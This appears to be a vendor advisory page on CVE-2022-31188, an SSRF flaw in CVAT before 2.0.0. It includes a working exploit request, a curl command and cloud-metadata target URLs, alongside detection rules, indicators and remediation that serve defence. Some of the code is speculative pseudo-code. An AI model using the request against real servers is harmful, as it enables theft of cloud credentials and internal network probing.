CVE-2022-31188
Executive Summary
CVE-2022-31188 is a Server-Side Request Forgery (SSRF) vulnerability in CVAT (Computer Vision Annotation Tool), an open-source interactive video and image annotation tool. Versions prior to 2.0.0 are affected. An authenticated attacker can exploit this flaw by crafting a malicious request to the /api/v1/tasks/2/data endpoint, providing a URL to a remote server in the remote files[0] parameter. The server then fetches this URL, allowing the attacker to probe internal networks, access cloud metadata endpoints, or perform port scanning. The vulnerability has a CVSS score of 8.6 (High) and a public proof-of-concept exploit is available. The patch was released in version 2.0.0, which adds URL validation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 8.6 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): Low (L) - Requires authentication.
- User Interaction (UI): None (N) - No user action needed.
- Scope (S): Changed (C) - Impact extends beyond the vulnerable component.
- Confidentiality (C): High (H) - Significant information disclosure possible.
- Integrity (I): None (N) - No data modification.
- Availability (A): None (N) - No denial of service.
Threat Level: High. The vulnerability allows an authenticated attacker to pivot from the CVAT server to internal networks, potentially accessing sensitive data such as cloud instance metadata (e.g., AWS 169.254.169.254), internal services, or other resources.
Deep Dive & Mechanics
The vulnerability resides in the data import functionality of CVAT. When a user creates a task and provides remote file URLs, the server fetches those URLs without proper validation. The affected endpoint is POST /api/v1/tasks/2/data. The remote files[0] parameter accepts a URL, and the server makes an HTTP request to that URL.
Attack Flow:
- An attacker authenticates to the CVAT instance.
- The attacker sends a POST request to
/api/v1/tasks/2/datawith a crafted multipart form-data body. - In the
remote files[0]field, the attacker provides a URL pointing to an internal resource (e.g.,http://169.254.169.254/latest/meta-data/for AWS metadata, orhttp://internal-service:8080/). - The CVAT server fetches this URL and returns the response data to the attacker, effectively disclosing internal information.
The vulnerability is classified as CWE-918 (Server-Side Request Forgery). The lack of URL validation allows the attacker to specify arbitrary protocols (HTTP, HTTPS, FTP, etc.) and target internal IP addresses.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-2.0.0):
The vulnerable code likely accepted user-supplied URLs without any validation, directly passing them to a function like requests.get() or urllib.request.urlopen().
# Vulnerable pseudo-code
def import_remote_files(task_id, remote_urls):
for url in remote_urls:
response = requests.get(url) # No validation
# Process response...
Patched Code (2.0.0+): The patch adds validation to ensure the URL is safe. This typically involves:
- Checking that the URL scheme is allowed (e.g., only
httpandhttps). - Blocking private IP ranges (e.g.,
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.0/8,169.254.0.0/16). - Optionally, using a URL allowlist.
# Patched pseudo-code
import ipaddress
from urllib.parse import urlparse
ALLOWED_SCHEMES = {'http', 'https'}
PRIVATE_RANGES = [
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('169.254.0.0/16'),
]
def is_safe_url(url):
parsed = urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
return False
try:
ip = ipaddress.ip_address(parsed.hostname)
for private_range in PRIVATE_RANGES:
if ip in private_range:
return False
except ValueError:
# Hostname is not an IP, assume safe (or perform DNS resolution check)
pass
return True
def import_remote_files(task_id, remote_urls):
for url in remote_urls:
if not is_safe_url(url):
raise ValueError("Unsafe URL")
response = requests.get(url)
# Process response...
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A vulnerable CVAT instance (version < 2.0.0).
- Valid authentication credentials (token or session cookie).
Exploit Steps:
Obtain Authentication Token: Log in to the CVAT web interface and capture the
Authorizationtoken from the browser's developer tools.Craft the Exploit Request: Use the provided Exploit-DB code. The request targets the
/api/v1/tasks/2/dataendpoint. Theremote files[0]parameter is set to an internal URL.Exploit-DB Code:
POST /api/v1/tasks/2/data HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: application/json, text/plain, */* Accept-Language:en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Token 06d88f739a10c7533991d8010761df721b790b7 X-CSRFTOKEN:65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGV Content-Type: multipart/form-data; boundary=-----------------------------251652214142138553464236533436 Content-Length: 569 Origin: http://localhost:8080 Connection: close Referer:http://localhost:8080/tasks/create Cookie: csrftoken=65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGv; sessionid=dzks19fhlfan8fgq0j8j5toyrh49dned Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------251652214142138553464236533436 Content-Disposition: form-data; name="remote files[0]" http://localhost:8081 -----------------------------251652214142138553464236533436 Content-Disposition: form-data; name=" image quality" 170 -----------------------------251652214142138553464236533436 Content-Disposition: form-data; name="use zip chunks" true -----------------------------251652214142138553464236533436 Content-Disposition: form-data; name="use cache" true -----------------------------251652214142138553464236533436--Execute the Exploit: Use
curlor a tool like Burp Suite to send the request. Replacelocalhost:8080with the target CVAT server andhttp://localhost:8081with the internal target URL.curl -X POST http://target-cvat:8080/api/v1/tasks/2/data \ -H "Authorization: Token YOUR_TOKEN" \ -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \ --data-binary @exploit.txtObserve Response: The server will fetch the internal URL and return the response data, potentially exposing sensitive information.
Alternative Targets:
- AWS Metadata:
http://169.254.169.254/latest/meta-data/ - GCP Metadata:
http://metadata.google.internal/computeMetadata/v1/ - Internal services:
http://internal-db:5432,http://jenkins:8080
Blue Team (Defense & Detection)
Detection:
- Monitor for POST requests to
/api/v1/tasks/endpoints withremote filesparameters. - Alert on URLs containing private IP addresses (e.g.,
10.,172.16.,192.168.,127.,169.254.). - Monitor outbound HTTP connections from the CVAT server to unexpected destinations.
Prevention:
- Upgrade to CVAT version 2.0.0 or later.
- Implement network segmentation to restrict the CVAT server's outbound access.
- Use a web application firewall (WAF) to block requests with private IPs in the
remote filesparameter. - Apply the principle of least privilege to the CVAT server's network access.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests from the CVAT server to private IP ranges (e.g.,
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.0/8,169.254.0.0/16). - Requests to cloud metadata endpoints (e.g.,
169.254.169.254,metadata.google.internal). - Unusual outbound connections to internal services (e.g.,
localhost:8081,internal-db:5432).
File IOCs:
- Log entries in CVAT application logs showing requests to private IPs.
- Temporary files created on the server containing data from internal resources.
Behavioral IOCs:
- Multiple failed authentication attempts followed by successful exploitation.
- Unusual task creation with remote file URLs pointing to internal addresses.
Detection Engineering
YARA Rule
rule CVE_2022_31188_SSRF_CVAT {
meta:
description = "Detects SSRF exploitation attempts against CVAT CVE-2022-31188"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-31188"
severity = "high"
strings:
$s1 = "remote files[" ascii nocase
$s2 = "http://" ascii
$s3 = "https://" ascii
$ip_private = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|127\.\d{1,3}\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
condition:
all of ($s*) and $ip_private
}
Sigma Rule
title: CVE-2022-31188 SSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSRF exploitation attempts against CVAT CVE-2022-31188
author: Valters IT
date: 2024-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2022-31188
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/api/v1/tasks/'
cs-uri-query|contains: 'remote files'
private_ip:
cs-uri-query|contains:
- '10.'
- '172.16.'
- '172.17.'
- '172.18.'
- '172.19.'
- '172.20.'
- '172.21.'
- '172.22.'
- '172.23.'
- '172.24.'
- '172.25.'
- '172.26.'
- '172.27.'
- '172.28.'
- '172.29.'
- '172.30.'
- '172.31.'
- '192.168.'
- '127.'
- '169.254.'
condition: selection and private_ip
falsepositives:
- Legitimate use of remote files from internal servers (if allowed)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2022-31188 CVAT SSRF Exploitation Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/api/v1/tasks/";
http_uri;
content:"remote files";
http_client_body;
pcre:"/(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|127\.\d{1,3}\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/Ri";
classtype:attempted-recon;
sid:1000001;
rev:1;
reference:cve,2022-31188;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade CVAT: Update to version 2.0.0 or later. This is the only complete fix.
- Apply Network Restrictions: If immediate upgrade is not possible, restrict outbound network access from the CVAT server using a firewall or egress filtering. Block all outbound traffic to private IP ranges and cloud metadata endpoints.
- Monitor Logs: Review CVAT application logs for any suspicious requests containing private IPs.
Long-Term Mitigations:
- Implement a web application firewall (WAF) with rules to block SSRF attempts.
- Conduct regular security audits and penetration testing.
- Follow the principle of least privilege for all services.
- Use network segmentation to isolate the CVAT server from sensitive internal resources.
Workarounds (No official workaround exists):
- Disable the remote file import feature if not needed (requires code modification).
- Implement a reverse proxy that validates URLs before forwarding requests to the CVAT backend.
Valters IT
DevSecOps & Cyber Threat Intelligence
{/* [Security Hash: FF31C9323DCE53ACD07459E2] */}